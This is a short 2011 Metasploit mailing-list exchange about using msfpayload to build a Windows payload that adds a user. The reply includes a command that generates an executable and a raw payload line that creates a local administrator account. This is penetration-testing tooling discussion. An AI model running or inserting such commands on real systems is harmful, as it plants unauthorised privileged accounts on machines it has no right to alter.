Metasploit mailing list archives

Re: Can not create an executable to add user for windows platform


From: Canberk BOLAT <canberk.bolat () gmail com>
Date: Fri, 9 Sep 2011 10:26:38 +0300

Hi Sagar,

Can you try windows/adduser ? It works for me.

[cb@adeo:~]> /opt/msf/msfpayload windows/adduser USER=user PASS=password X >
/tmp/test.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/adduser
 Length: 273
Options: {"USER"=>"user", "PASS"=>"password"}
[cb@adeo:~]> file /tmp/test.exe
/tmp/test.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

You can not create executable from cmd payload. Think that, framework use
cmd payloads for command injections etc.. Here is raw cmd payload of your
choice.

[cb@adeo:~]> /opt/msf/msfpayload cmd/windows/adduser USER=user PASS=password
R
cmd.exe /c net user user password /ADD && net localgroup Administrators user
/ADD

I hope its help you.

Regards,
cb

2011/9/9 Sagar Belure <sagar.belure () gmail com>

Hi all,

Is it not possible to create an executable which adds a user following way?
root@bt:~# msfpayload cmd/windows/adduser PASS=password USER=user X >
adduser-user-password.exe
No executable format support for this arch/platform

Thanks,
Sagar Belure


_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework




-- 
Canberk Bolat
Security Researcher
http://twitter.com/cnbrkbolat
http://cbolat.blogspot.com
_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework

Current thread: